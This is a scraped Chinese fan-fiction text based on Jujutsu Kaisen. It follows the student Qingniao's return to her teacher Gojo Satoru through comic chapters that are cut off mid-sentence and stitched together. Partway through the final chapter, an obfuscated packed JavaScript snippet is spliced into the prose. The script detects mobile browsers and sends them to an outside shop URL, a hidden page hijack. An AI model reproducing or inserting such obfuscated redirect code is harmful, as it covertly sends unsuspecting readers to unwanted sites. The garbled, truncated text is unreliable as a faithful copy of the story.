《五条老师的后辈今天也一身反骨》 1. 第一章 《五条老师的后辈今天也一身反骨》全本免费阅读 卿鸟想做的事,能拦住她的概率微乎其微,这点五条悟一直都知道。 那孩子看起来奇奇怪怪,好像什么都不在意,但有自己心底的固执与坚持。 五条悟起先并不在意,只认为这是学生自己的脾气,作为老师也不能抹杀她的个性。 直到2013年晚樱凋零的季节,千叶县惨案发生后一周,他没能拦下卿鸟开启领域逆转生死,将她的学长与学姐们从黄泉对岸捞回来。 逆天而为的术式,以献祭她自身为代价。 咒术师没有无悔的死亡。那孩子顺从自己的心,打破了这个诅咒。 慌忙上前想要制止卿鸟的五条悟只捞到一缕空气。他的第一届学生,就那样在他眼前忽然消失不见。 他们称之为消失而非死亡,就好像那样还能留存一丝“回来”的可能。 卿鸟带走了她所有留在这个世界上的咒力残秽,以及术式实体。包括那只恶趣味新年礼物——咒力值为1还不能吃的术式草莓大福。 每天都在谋划如何背刺老师的鸟“消失”后,咒术高专陷入一阵诡异的沉默。 被少女救回来的学生们心情复杂,难以接受是原因之一。 但沉默最大的源头,是从前陪着卿鸟一起胡闹,或是默认她可以胡闹的五条老师。两人曾经打打闹闹,三天大吵两天小吵,一个为师不尊,一个压根也没拿对方当“老师”。 介于少年气与成熟男人之间的最强神子奔波于任务与救世之中,抽空还要去“关爱”小惠。他的人生在卿鸟离开后看似好像没有任何变化。 喜欢闹腾的男人在任务期间看到好玩的事,吃到喜欢的食物,还是会下意识满腔热血掏出手机——倒不是无人诉说,但不会再收到某位叛逆学生的回信,吐槽他人不怎么样,品味倒是不错。 于是又把手机收起来。 这样的状态大概维持一个月。家入硝子在某个雷雨交加的夜与五条悟并肩站在学校的长廊上。 然后调侃他。 “你这样不像是失去了一个学生。” 五条悟疑惑地抬眉看了一眼硝子,然后坐到一边围栏上。 谁说不是呢!哪有那样不尊重老师的学生?他失去的是一只叽叽喳喳,整天想窜他头上的鸟。 因为曾经的她太过吵闹,所以显得如今格外冷清。 五条悟感觉自己好像自带一种诅咒。习惯身边有谁,就一定会因为某些不可抗力失去谁。 杰是这样,卿鸟也是。 --- 四年后。人烟稀少的偏僻小径。 绑上绷带竖起头发的白毛褪去一身青涩,走在伏黑惠身边颇有监护人兼老师的成熟气息。 当然,海胆头心知肚明,掩藏在绷带下的那张脸,并没有留下多少岁月痕迹。性格也还是恶劣至极。嗯,至少在他眼前是这样。 最近新调来东京的年轻辅助监督被五条悟帅气的外形与强大的实力蒙了眼,纷纷在情人节这天送上包装精美的巧克力。 毕竟是五条悟,自恋一些也是正常的——满眼爱心的女人这样小声嘀咕。 “小惠没有巧克力吗?一定是因为你总是摆着这张臭脸啦!”成熟与幼稚的矛盾体,五条老师如是所说。 哎。 伏黑惠长叹一口气。他决定快点完成这个情人节的调查任务,然后回去补觉。 话说回来,情人节的任务布置给身边的男人,也是在吐槽这家伙是个万年大光棍吧。伏黑惠面无表情继续往前走。 偶然一抬头,望见空中出现一个疾速降落的不明物体。 “喂……” 日常臭脸的海胆头哪怕内心十分震惊,表情也没有十分大的变化。 五条悟并不在意上空的坠落物体。反正没有咒力。 男人还在悠哉地教伏黑惠如何用表情表达震惊。“惊讶的时候啊,眼睛要这样瞪——大,而不是变成等号。嘴巴要张成一个鸡蛋的样子!” …… 缠着绷带的男人原地扎马步表演了一个瞠目结舌的表情。 伏黑惠黑着脸避开五条悟的魔爪,继续去看高空坠落的物体。物体离地面越来越近,没有减速的样子,并且看轮廓好像是个人。 发现是人类之后,少年脑后一个感叹号,两手飞速结印:“鵺!” 式神低空盘旋,巨爪勾住天降之人的衣领。 爪子接触到掉落之人的瞬间,伏黑惠二次震惊。并且这一回按照五条悟教学的那样,双眸瞪大,瞳孔骤缩。 嗯? “小惠很有表演天赋嘛!”稍加点拨就能立刻完美演绎。尚不知情的五条悟大笑着拍打伏黑惠的肩膀,力气之大,差点把人拍进地里。 直到身后的家伙,足尖落地。咒力恢复。 五条悟面朝伏黑惠,区别于刚才夸张演绎的震惊神情,他怔在原地。绷带遮住双眸所以看不见眼神,但伏黑惠从这位不正经的成年人骤变的脸色推断出,他的瞳孔应该也骤缩了一瞬。 果然,自然流露胜过一切演技。 落地少女拍去身上沾到的不明灰尘,冲两位熟人的背影抬手打招呼:“小惠?都长那么大啦!” 六眼可以清晰辨认卿鸟的咒力气息,可五条悟还是选择回眸看她。视野里,少女明媚的笑,带一点狡黠。 眼前的轮廓与脑海中的信息,无一不在告诉他,那位离奇出现又擅自“离开”的学生,真的再度神奇出现了。 卿鸟实际只在五条悟的人生中出现不到半年时间。四年不见,男人以为自己早就模糊了她的样子,只剩大概的轮廓。不料此时一瞥,他发现自己连她长高了几公分这样的事都能精准捕捉到。 少女身上还穿着高专校服,依旧最基础的那种款型,搭配一条长裤。制服裙她是不穿的,问就是不方便随时随地躲避老师的“殴打”。 掩埋在时间与无穷无尽任务下的记忆被微风拂去那层沙,变得鲜活起来。 于是五条悟发现,卿鸟身上的高专校服与她离开那天身上穿的,其实稍有不同。 行人不算太多的城市偏僻地带,三三两两的非术师匆匆路过。经过五条悟身侧时忍不住抬头多看一眼——这家伙好高,这家伙为什么缠着绷带,这样能看清路吗? 卿鸟同样看着眼前的男人。她好像才见过他,也好像已经很久很久没见到他。十小时前,她世界里的五条悟还是个戴着墨镜的炸毛少年。此时眼前这位却褪去青涩,头发也不再是散乱可以随意拉扯的短毛。 比起四年前这个世界的五条老师,比起平行世界里那个十八岁的臭小子五条悟,此时此刻眼前的男人,有了一丝拒人千里之外的气场。至少在他开口说话前是这样。 二月的天实 2. 第二章 《五条老师的后辈今天也一身反骨》全本免费阅读 “附近的咒力波动不明显,离奇事件与咒灵无关,应该是非术师在搞鬼吧。这种事情交给警察叔叔来管啦。” 街边,五条悟随意倚在护栏旁与伊地知通电话。电话对面西装革履的男人在听到“警察叔叔”的称呼后,脑后滴下一滴豆大的汗。 伊地知不知说了什么,五条悟的目光落到不远处的两人身上。 卿鸟与伏黑惠站在一边,两人都穿着黑色的校服,看起来一般高。小惠实际应该比小鸟高出半个头,但少年总不如少女显身高。 “是哦,她回来了。是本人。嗯?那群老东西没什么需要和小鸟叙旧的吧?” 伏黑惠大概和五条悟一样,即便卿鸟已经胖揍了一顿夏油杰,并豪迈地放了术式烟花,但他对于眼前这个消失四年又再度出现家伙依旧没什么真实感。所以伏黑惠看她的眼神带了点审视与疑惑。 从2007年平行世界重新回到这里的卿鸟,其实也有些恍惚。前不久才和那只墨镜猫一起见过的五岁小屁孩,一眨眼变那么大只。 她见过海胆头十岁的样子,五岁的样子,现在又蹦到了十四。熟悉又陌生。 但她是卿鸟,比任何人都擅长压下心底的混乱向前看。于是少女像四年前那样,看着伏黑惠露出迷之微笑,然后逗他。 “咦?小惠不是说不做咒术师吗?” 五条悟挂了电话,单手插袋走到两位后辈身边,大手一抬,没有丝毫犹豫地敲了一下卿鸟的脑袋。 “消失又回来的家伙没有资格提问,严格来说小鸟现在是被审讯对象哦。” 太久没有被五条老师“教育”,卿鸟抬眸向曾经的恩师投去一个记仇的目光。 叛逆学生的眼神和表情五条悟曾经熟悉无比,时隔四年再度见到,男人先是愣神半秒,旋即露出更欠扁的灿烂笑容。 “要还击吗?小鸟太弱啦。” …… 卿鸟嘴角一抽。虽然自己在平行世界狠狠欺负过十六七岁的五条悟,但并不能解这个二十七岁的气。冤有头债有主,她还是很想看眼前缠着绷带的男人摔个倒栽葱! 五条悟大概猜到卿鸟的心思,于是两手叉腰,夸张咧嘴一笑。身周仿佛出现无下限抵御卿鸟术式袭击的闪亮特效。 卿鸟:“……” 伏黑惠:“……” 算了,无敌的五条悟从不畏惧旁人的异样目光。 临近午饭点,伏黑惠表示任务结束他先回去了。一来是四年前被这对师徒轮番精神攻击的回忆一点一点浮现,二来,眼前的故人叙旧与他关系不大。 一兰拉面店外。 五条悟疑惑歪头:“啊咧?难得老师请你吃午饭就吃拉面吗?豪华刺身和牛都可以诶。” 趁机压榨老师的钱包才是这位后辈的作风吧? 卿鸟不以为然,她看向白毛唇角一勾。“这可不是一般的拉面店啊老师。” 哪里不一般了?五条悟脑后冒出一个问号,他也不是没有一个人吃过这家拉面,一点不惊艳。 “华丽外表和宣传都是骗纯真游客的啦。真正好吃的拉面还是要找夜深人静时的拉面餐车。” 五条悟那么说着,迈开步伐跟随卿鸟走进拉面店。他们就着空位指示灯选定两个座位一左一右坐下……中间隔着小木板。 “……”哈? 成熟男人的表情垮掉。卿鸟选这家店就为了和他吃饭的时候保持“距离”和“阻碍”吗?果然刚才那一下敲得太轻了! 卿鸟仿佛看不见碎掉的老师,低头“认真”勾选拉面单。 “哦呀?小鸟是细面党。” 隔板压根挡不住无敌的六眼五条悟。于是卿鸟伸手挡住自己的面单,像幼稚的小学生防止同桌偷窥自己的考卷答案。 五条悟这才轻笑一声,低头圈自己的口味,不再逗她。 两人之间仿佛从未离开过的从容,在工作人员拉起卷帘拿走面单后,骤然消失。空白的四年实在不算短,他们对彼此的生活一无所知。 想问的话题有很多,但一时间不知从何说起。 卿鸟偏头看向身侧,只能看到五条老师高出来的白毛,还有腰间衣服的褶皱。鬼使神差的,她悄悄伸出手尝试触碰他。 结果自然是被无下限挡住。卿鸟收回手端正坐好。 身边的白毛不再是那个可以欺负的十七岁少年了。 奇怪后辈的奇怪行为被六眼尽收眼底。 五条悟:? 她是要戳腰报复他?几年不见报复level下降那么多吗? “Lady first.”最终还是五条老师打破诡异的沉默,他托腮看向身侧的隔板。六眼可以透过无咒力的木板看见卿鸟的咒力轮廓与流动。 是真实存在的卿鸟。不是走在街上偶尔一回眸瞥见的相似少女。 “小鸟先问。”搞怪的lady first之后,是五条悟的沉声引导。不着调的少女,在严肃话题上不是爱倾诉和追问的类型,她需要别人破开一道口子。 拉面很快做好。工作人员拉开卷帘,递过面条,又放下。卿鸟看着面碗冒起的白雾热气与碗里的叉烧,片刻后开口。 “……学姐和学长们还好吗?” 五条悟将溏心蛋放入面汤中,自然应答。“那要看小鸟对好的定义是什么。” “……” “如果小鸟觉得活着就是好,那大家还不错。活得开心才算好,那他们全都不好哦。” 栗发少女夹面条的动作一滞。 男人喝了一口面汤又吃了一块叉烧。两人隔着一层板低头交谈。 “小鸟知道我当时为什么要阻止你吗?” 没等身边的少女开口,五条悟继续说道:“第一个原因,大家都是在了解咒术师是什么样的存在之后才选择入学咒术高专的。虽然不希望虽然有悔恨,可他们理解「死亡」,不论是自己还是同伴。但这种理解不包括同伴用牺牲自己的代价,救下他们。” “比起死亡,活着才需要更大的勇气。小鸟的行为与其说是拯救,不如说是自己无法承受同伴死亡的诅咒,所以任性的让大家活在你死亡的诅咒里。” “小鸟是逃兵。” 男人毫无修饰的言语透过木板传来,语气还算轻快,但卿鸟感觉自己像被狠狠打了一巴掌。无私的牺牲,换一种角度看其实是自私的自我心理安慰罢了。 “面要坨了哦。” 前一秒还颇为严肃的脑袋这一秒又胡闹起来,五条悟仗着身高优势越过木板低头看向卿鸟。像极了恐怖片的经典镜头。“快吃啦,吃完去向大家好好道歉。” 面的确坨了,面汤也有点冷了。卿鸟低头嗦面,安静一会儿后又追问。 “那第二个原因呢?” …… 五条悟瞥向木板后的少女。第二个原因比较自私,他不说。 卿鸟对第二个原因也不执着,低头安静吃完碗里的面。不好不坏,五条老师说得没错,真正美味的拉面还是要去寻觅夜晚的拉面餐车。 曾经的师生一前一后走出拉面店。 “先回高专,大家应该都在那里等你。” “嗯?”卿鸟疑惑五条悟怎么那么肯定大家会去高专等。 “看到小鸟的术式烟花,又打不通我的电话,当然只能去高专集合啦。”无良教师理直气壮。 于是卿鸟更疑惑了。“怎么会打不通老师的电话?” “啊……刚才挂电话的时候一不小心关机了。”无良教师戳了戳自己漆黑的手机屏。 卿鸟:“……”这是什么一不小心啊!你怎么不一不小心把裤子当衣服穿呢!分明就是故意的! 叛逆后辈闷闷不乐的神情终于有了变化,五条悟轻笑出声,走到路口去打车。 即便可以带着卿鸟挪至空中瞬移回去,但五条悟还是选择了出租车。她回来了,真实存在于这个世界,一切都不用过于着急。近一小时的车程,也能让卿鸟平复一下心情。 卿鸟一直在组织语言,关于自己这些年去了哪里这件事。但坐在副驾上的男人从天上聊到地下,从山川说到大海,也没问她这些年去了哪里,发生了什么。 直到暗黄色的轿车在熟悉的校门前缓缓停下。 卿鸟没有在意计价器上的夸张数字,透过车窗,她看见两张许久未见、熟悉的脸庞,于是立刻开门下车。 几乎是在卿鸟下车的瞬间,她被迎面奔走而来的麻生一把抱住。 「嘛~那就来个久别重逢的拥抱吧。」几个小时前五条老师的言语闪过脑海,卿鸟轻笑出声。别看她的老师那样,还是挺通人性的。 卿鸟回抱住身前的学姐,声音低低的。“我回来啦。” 渡边源一站在稍远一点的位置。视野里的少女仍然穿着高专校服,就好像这四年只是眨眼间的转场。她不过是和往常一样陪五条老师去做任务,迟了一些回来那样。 “渡边学长。”卿鸟冲他挥手。 “小鸟!”渡边笑着回应。这个名字他们几人已经鲜少提起,是不能去揭开的疤。不曾想有一天还能如此大方坦诚地喊出口。 身穿休闲服的渡边源一已经不是四年前的爽朗少年了。就像是这些年一直活在某种压力下,眼尾也带了些惆怅。卿鸟想起五条老师中午的言语,垂在身侧的手不由紧握成拳。 五条老师下了车,笑着拍手吸引众人的注意力。“嗨~嗨!叙旧不要阻碍校门口的交通哦。” 狗卷健太与狗卷棘站在入口的位置,见到卿鸟后刷地举起手中的木牌板板。两块白板上写着硕大的「鸟」。 熊猫负责撒了一把花瓣。真希歪头,整个人被打上一层名为“只要同伴不尴尬尴尬的就是我”阴影。 “……” 不是。本来很感动的重逢,这画面瞬间搞笑起来了怎么回事! “水野下午有个考试,晚点再来。柴崎在欧洲,已经买了最近的机票赶回来。” 原来这些前辈们四年前从鬼门关绕了一圈回来后,就只有渡边和狗卷还在做传统意义上的咒术师了。 水野回归原生家庭考了大学,按部就班,最近准备考公进入政府部门;柴崎成了自由旅行家,探险未知神秘地,顺便祓除旅行中遇到的咒灵;麻生还留在东京,因为术式特殊,加入了不公开情报组织。 他们看似都在向前走,但心里有一块区域被永远留在四年前。尤其千叶县惨案在一年后被查出,是高层勾结故意陷害学生们的。 所以水野进入政府部门,是为了以另一种身份直接与咒术高层接触;柴崎四处游走是为了扩展日本以外的咒术师资源;麻生的不公开情报组织更是与「窗」对立的存在。 大家忙忙碌碌,一路前行,生怕浪费一分一秒。卿鸟用自身作为代价换来的,他们的每一分每一秒。 “所以小鸟这些年去哪里了?被关在领域里了?” “嗯……去了一个很神奇的地方。” 卿鸟被前辈们围在中间,目光下意识看向远处的五条老师。男人侧脸对着她,正与夜蛾正道说话。 身材高挑气质翩翩的男人,眼睛被绷带遮拦,所以卿鸟不知道,她把视线投向五条悟的时候,后者的目光也扫向了她。 卿鸟被众人围在中央,四年前这样的画面也很常见,毕竟他的学生是个“活宝”,还拥有让人啼笑皆非的术式。高专的大家空闲下来总喜欢围着她逗她玩,又或是许个愿。 但今日不知为何,五条老师对眼前的场景有一些微妙拒绝的情绪。他想把那只鸟拉到自己 3. 第三章 《五条老师的后辈今天也一身反骨》全本免费阅读 天刚蒙蒙亮,拉了一半窗帘的寂静宿舍内,宿醉少女被一阵敲锣打鼓声惊醒。 罪魁祸首用脚趾想也能猜到。 卿鸟猛地坐起身,惊醒的脑,艰难睁开的眼。她看着格局差不多,但摆设陌生的宿舍敲了敲自己的脑袋。虽然没有喝断片,但也差不多了。 坐在床上的少女有点懵,下意识想问系统发生了什么,现在是什么情况,但迟迟没有得到回应。卿鸟这才后知后觉想起系统已经关闭了。 意识回笼,记忆慢慢浮现,对,在她回来的同时系统也下线了。她现在正处于2017年的东京。 咔嚓—— 突兀的拍照声响起。 “宿醉后的鸟。”罪魁祸首欠扁的声音响起,怡然自得。“挂起来当做失足少女反面教材。” 卿鸟死鱼眼看着面前的白毛,顺手抡起身侧的枕头,毫不留情砸向前方。 疾速飞离的枕头没有被拦在无下限外,而是被男人单手接住。五条悟放下“凶器”,笑着恐吓道:“十五分钟后校门口集合。迟到一秒拔光鸟毛哦。” “……” 啊,这熟悉的配方和威胁。 卿鸟嘴角一抽,她凉薄地看了五条悟一眼,拿起男人借来的,真希的校服走进浴室,砰地一下关上门。 缠着绷带的男人伸出食指挠挠脸,猫猫疑惑。 ——啊咧,这只鸟回来后脾气见长嘛? 脾气比人大的后辈洗漱完毕跑至校门口,五条悟手里的计时器显示15分多一秒。男人眉头轻颤一下。 卿鸟笑盈盈地看向五条老师。对,她故意卡秒的。 不过时间也是真的很赶,她的发梢都还没有吹干,大冷天风一吹整颗脑袋感觉凉飕飕的。更别说真希这套校服配的还是短裙。少女“挑衅”完老师,在寒风中狠狠打了一个冷颤。 于是伊地知把车开至校门口的时候,就见一米九的“稳重”教师与一米六八的“活泼”后辈极限拉扯…… 不,是无良教师单方面碾压曾经的学生——两只大手毫不绅士地捏住卿鸟的脸往两边扯。 伊地知面无表情扶了扶眼镜:“……”他不应该在车里。 前一秒还在“互殴”的两人整理仪表,一前一后坐进车里,沉默端庄,仿佛刚才不成体统的不是他们。 “东西带了吗伊地知?” 伊地知正通过后视镜观察卿鸟,他不信消失那么多年无影无踪的人居然真的回来了。听到五条悟的话语,他愣了一秒才回:“啊,带了!” 男人西装革履,被岁月、咒术高层以及五条悟摧残的痕迹都留在脸上与眼神中。伊地知连忙把放在一边的焖烧杯递给五条悟。 后者又将焖烧杯递给卿鸟。 是新鲜熬好的白粥,适合醉酒醒来的人垫饥暖胃。 于是一早敲锣打鼓又捏她脸的仇恨短暂放下了。卿鸟坐在后排低头喝粥。 汽车没有启动,在等她。 五条悟上午要接的对象以及此刻正在喝粥的少女,都是咒术高层的眼中钉肉中刺,被夹在中间两头劝不动的伊地知轻不可闻叹了口气。没有宿醉的他都觉得肠胃一阵不适。 “总监会那边只是想见卿鸟小姐一面。” ……嗯? 卿鸟咬着勺子抬起头。 “她有什么好见的?” 五条悟问出了卿鸟的心声。 少女透过后视镜看看满脸“高兴”的伊地知,又看看永远理直气壮的五条悟,顿悟了。即便她的老师会反抗,这个世界的总监会还是他的压力来源。 “那就去见一面吧,看看我未来的江山。”卿鸟盖上焖烧杯,目光炯炯。 伊地知:“……”是他理解的那种意思吗? 副驾上的男人偏了偏头。四年前的小鸟对总监会那群家伙也不算尊敬或害怕,但也没有现在这样鄙夷并唾弃的模样。五条悟收回目光直视前方。 “走啦,不要让被诅咒的少年等太久。” “咦?有任务?”卿鸟还以为这一出就是为了带她去咒术高层那里呢。 “不然呢?”无良教师反问。这家伙难道以为自己把她闹起来是为了送她去总监会? 既然不是特地送她去见那些败类和朽木…… “那为什么要带上我?” 伊地知发车的动作一滞。身边游刃有余的前辈也愣了一下。 是啊,他为什么要带上卿鸟?为什么他理所当然地认为这个整天想用术式恶整他的后辈就应该跟着自己? 车内一阵诡异的沉默。 五条悟回眸,唇角微扬。“当然是勘察一下你的想象力现在有多棒。” 于是一整个路程伊地知都开得战战兢兢,生怕卿鸟突发奇想地发挥自己的“想象力”。曾经这对“师徒”毁坏环境惊吓同僚的战果还是历历在目的! “话说回来,被诅咒是怎么回事?”深谙五条老师说话从不说重点的习惯,卿鸟决定主动提问,以免等会儿掉坑。 “嗯……被诅咒的原因暂且不明。从表面上看就像背负了好大一个背后灵。” 卿鸟想到很久以前的寄生咒灵。“所以累积到一定程度它也会伤害少年吗?” “这只咒灵比较特殊,没有伤害少年的行为。” “诅咒他又保护他?” “人心复杂嘛。” 卿鸟点点头不再追问。沉默片刻后,她再次出声:“老师,背后灵是这样的吗?” 五条悟回头,就见卿鸟身后飘出一只手里端着一碗纳豆的贞子。贞子有点迷茫地环顾车厢。 五条悟:“……”这孩子的想象力是不是超棒还待探究,现在可以确定的是越来越变态了。 尖锐的摩擦声刺激着鼓膜。伊地知一脚急刹车,在看到贞子的瞬间把车停在目的地。 曾经的师徒淡定下车。 伊地知看着他们离去的背影,那个术式贞子仍然飘在卿鸟身后,并回头深深地看了他一眼。 伊地知眉头狠狠一抽,深吸一口气,再吐气——明明是他们两个互相伤害,为什么最终实际收到伤害的人为什么是他! 总监会关于乙骨忧太的死刑通知约莫会在今天下午正式发布。在那之前,五条悟决定先来见一见他。 少年一人独居,住的公寓倒也不算差。就算没有地址,六眼也能精确分辨乙骨住在哪一间。 五条悟瞥一眼卿鸟没有收回的贞子,瞬间明白了少女的心思。于是没有揭穿,他走在卿鸟稍后一些的位置,“好心”提醒:“306哦。” 少女按响门铃。 过了好一会儿里面的少年才磨磨蹭蹭出来开门。 乙骨忧太拉开公寓大门,还没看清来人就见一只贞子飘到他眼前,并把手里的一碗纳豆作为见面礼递到他手边。 “……” 乙骨忧太向后踉跄一大步,吓得面色突变。同时间,祈本里香感受到乙骨的害怕,骤然出现。 特级咒灵如同扫蚊蝇一般一下摧毁了卿鸟想象出来的贞子,下一秒就要去抓站在门口眨巴眼睛的少女。 站在一边的五条悟霎时瞬移至卿鸟身前与她调换站位,并单手拦下特级咒灵的攻击。“哦呀,初次见面,不要那么暴躁嘛。” 卿鸟:“……” “……老师,他是被特级咒灵诅咒了?”她以为是二级那样的小可爱才逗他玩的诶! “嗯?刚才在车上没说吗?这只哪怕在特级咒灵里也算超厉害的哦。” 你说了个……屁! “有什么关系。”五条悟不以为然,他回眸看向一脸无语的卿鸟,咧嘴一笑。“有我在嘛。” …… 好消息:这个老师会为你挡风遮雨。 坏消息:风雨都是他给的。 乙骨忧太看不明白站在他家门口的两人是怎么回事,但自被里香诅咒后,还是第一次有人能压制住她。 祈本里香自狭隘空间里消失。 少年从惊吓中逐渐回神。他看着门口被里香打翻的零散物件以及损坏的门框。最后望向脸上缠着绷带的奇怪男人。 “阿诺……你们……是谁?” “哟。”五条悟把注意力放到乙骨忧太身上,笑容明媚灿烂。“你要被处以极刑了哦,忧太君。” 乙骨忧太:“……” 诶?! “所以他来救你。”卿鸟及时把话补充完整,然后严肃“指责”男人:“别吓他啊老师!” 就凭刚才那只特级咒灵的实力,总监会想要杀他还真不容易。但黑发少年的精神状态看起来不怎么好,不像是能经得起五条悟折腾的样子。 “哈?是小鸟先放贞子吓忧太的吧?”五条悟笔画了一个巨大的手势:“吓出那——么大一只咒灵。” 卿鸟手动合上耳朵,听不见。 五条悟:? 乙骨忧太站在原地不敢动。这两个人是来找自己的吧?怎么话说一半就自顾自吵起来了……呢? “总而言之!”五条悟扼住叛逆后辈的脖子。“忧太君先跟我走吧。” 卿鸟的顽强反抗全是泡影,想象的凶器全部被拦截在无下限外,力气也敌不过手长脚长的男人。 乙骨忧太脑后闪现一个感叹号,连自\杀的念头都被眼前的画面震惊到退散。 粗鲁,太粗鲁了,怎么可以对女孩子那么粗鲁啊! 幼稚的前辈与后辈扭打完,再一次恢复彬彬有礼的虚伪模样。 按照双方各退一步的说法,乙骨忧太将被带去密室关押,待五条悟进一步勘察情况后进行二次谈判。如果乙骨忧太要入学高专,五条悟必须对其将会造成的危害负全责。 都是冠冕堂皇的废话,卿鸟懒得听。 “我陪忧太回高专,反正之后要入学,提前适应一下校园环境吧。”
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「征用无良老师衬衫一件!」 发送时间是一小时前。 他入帐有那么久?五条悟眉心微蹙。此时此刻,他更希望一小时前的卿鸟是拨打了他的电话,而不是发送短信。 这样他就能顺理成章把那只鸟带在身边了。 五条悟摁灭手机,偏头对身侧的辅助监督道:“回东京。” “诶?!”山路崎岖,辅助监督差点没有避开往来车辆。“现在?!” 翌日。 一觉睡醒的卿鸟拉开房门,看到一只穿着女仆装的正版五条悟手里捧着一只穿着女仆装的Q版五条悟…… 眼巴巴看着她。 “……” 少女后退一步,砰地一下关上房门。 一定是她开门的方式不太对! 卿鸟深吸一口气,再次拉开房门。就见正版五条悟强迫手里的Q版五条悟和自己一起摆了一个芭蕾小天鹅的姿势。 卿鸟:“……” 如果她有罪。 还好她昨天晚上没有想象老师穿上比基尼! 11.第十一章 五条悟戳戳手里的Q版布偶,重点拉扯了一下扎在白色短发上的蝴蝶结。“原来小鸟喜欢这样的type。” “与其说我喜欢这样的type……不如说老师你居然是这样的type。” 卿鸟扶墙而立,整个人被打上一层阴影。她本想用这个恶搞玩偶让五条悟露出无语并裂开的表情,结果因为无良白毛和术式名一样的无下限人格……反噬到她自己身上了!睁眼就受到暴击! “话说回来,小鸟那么崇拜老师吗?睡觉也要想象老师陪在身边?” “……”老师您那双伟大的六眼,是怎么从这只玩偶身上看出崇拜两个字的!我不理解! 清早才睡醒的鸟头顶卷翘的呆毛,手动合上耳朵,不听男人的言语“追击”。她面壁,重复低喃一串无人能懂的咒语。 脑袋上明显有一团混乱电线在转圈的少女穿着五条悟的长袖衬衫,宽松衣摆刚刚好落至膝盖上方,显得她整个人比平时小了一圈。 原本还在得意大笑的男人倏而收了声。 前一分钟还“鸡飞狗跳”的空间,霎时出现了诡异的宁静。“征用老师的衬衫一件”,单从文字上看并没有什么大问题…… 念完咒语,终于做好心理建设准备直面女仆装老师的卿鸟,偏头看向五条悟。 “……” 绷带阻隔了男人的眼神。卿鸟能读懂很多人的神情甚至是微表情,但这个功能在五条悟身上总要差一点。 因为看不见眼神,也因为自己的心不算敞亮。或许卿鸟自己都未曾发现,在纯粹的感情问题上,自己是有着回避倾向的。比起迷恋,欣赏或别的暧昧不清的情绪,她更倾向于自己成为一个“有用”的人。 一个可以信任、信赖的同伴。 卿鸟看着沉默的五条悟眨眨眼,又低头看向自己的着装。忽然福至心灵。 “衬衫的钱和房租算在一起!” 五条悟:“……”毕竟是鸟,重点总是那么离奇,他从卿鸟身上收回视线。 两个一早就“着装”怪异的家伙各怀心思,分别走进卧室和卫生间换回正常的衣服。 卿鸟不知道五条悟是如何做到从任务地赶回东京,换上女仆装,还顺便带了早饭回来的。从某种层面上来说,她的老师可能是“时间管理大师”? 像过去很多次那样,卿鸟与五条悟面对面而坐,安静吃早饭。 “啊,对了。”五条悟咬着饭团打破沉默。“那件衬衫25万哦。” “……” 卿鸟一口喷了嘴里的热牛奶。她现在拿出去干洗熨烫然后叠整齐放回袋子里还来得及吗! 伊地知没想到五条悟会连夜赶回东京,他比平时早出发2个小时,准备前往咒术高专给可爱的学生们继续讲解昨天的数学题…… 结果被最强的男人一通电话喊回市中心。 卿鸟坐进车后座——不论哪个世界她都习惯坐在驾驶位后面的那个位置上。奇怪的是五条悟没有像往常那样拉开副驾的门,而是伸手拦下卿鸟关车门的动作,矮身跟着坐进了后排。 伊地知表示,五条悟不坐在副驾……倒是减轻不少他的驾驶压力! 卿鸟感受着身侧那股强大,令人又气又安心的咒力气息,忽然开口问:“老师,你晚上有睡过觉吗?” “没有呢。” 原本是打算回到公寓后在沙发上小睡一会儿的。 “那现在睡一会儿?俗话说,不睡觉会变笨蛋的。” “……”五条悟眉梢轻挑,这只鸟纯粹想骂自己一嘴笨蛋吧?真费心绕了那么大一圈。“嗯。” 车门关上,伊地知发动汽车。从这里到咒术高专,至少有一个小时的车程,遇上早高峰,一个半小时内能到也算幸运。 卿鸟掏出手机,想看看学姐们有没有在聊天群里八卦什么好玩的事情,顺便再和这个世界的歌姬与硝子联络一下,增进感情…… “……咦。” 卿鸟玩手机的动作僵住。 五条悟身上好闻的气息萦绕鼻间。二十八岁的五条悟居然和十八岁时一样,爱用草莓味的洗发水和沐浴露。清香中带着一丝甜。 伊地知偶然一抬头,就在后视镜里看到五条悟靠着卿鸟肩膀睡觉的画面。 西装革履的伊地知表面波澜不惊,内心一整个问号加感叹号。 男人的短发蹭到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12943215|131964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卿鸟的脖子,又凉又痒。她想说这个无良教师又在玩什么花样,自己的身高并不适合给他当靠枕,但肩膀处传来的平稳呼吸声又让她无法出声惊醒他。 至少20个小时没有合过眼,就算是最强也会累。 虽然惹人生气的时候真的很想把他砸进地里,但总还是心疼的。卿鸟没有推开他,也没有趁机报复,反而透过后视镜用眼神示意伊地知放缓行车的速度。 姑且让他多睡一会儿吧。 五条悟以一个不太舒服的姿势进入梦乡。时刻开着无下限的他并不会被卿鸟偶尔一个“睡觉”的想象袭击。他此刻睡得安稳,完完全全是赖着卿鸟身上的咒力气息,让他心安。 一个半小时的路程伊地知开了近两个小时。这一路,无良教师睡得有多安稳,叛逆后辈就有多如坐针毡。 男人的体温、呼吸、气息与咒力完完全全侵占属于卿鸟的私密领域。以一种霸道又亲昵的距离与方式,影响她的思绪与情感。 十八岁的五条悟也会幼稚地缠着同伴。像八爪鱼一样赖着硝子不放也不是没有过。 他是不同的。 卿鸟收起被搅乱的心思。如果是五条悟的话,他并不会觉得枕肩而眠这样的动作有什么额外的含义。卿鸟甚至怀疑恶劣白毛醒来后,会弯起那张欠扁的猫咪唇总结:“小鸟意外适合当枕头呢~” 卿鸟长叹一口气。 她抬手,预备一掌拍醒五条悟……但没拍到。 “啧。”这毫无破绽的家伙。 但如果她完全隐藏咒力气息呢?无下限还会将她的物理攻击自动识别为“危险袭击”吗? 一生要强,想要找到无良教师弱点的卿鸟霎时隐藏自己的咒力气息。 再度抬起的手还未来得及挥上去,身侧的男人一下惊醒了。 就像梦中落水的惊颤。 五条悟感觉自己头皮一阵发麻。 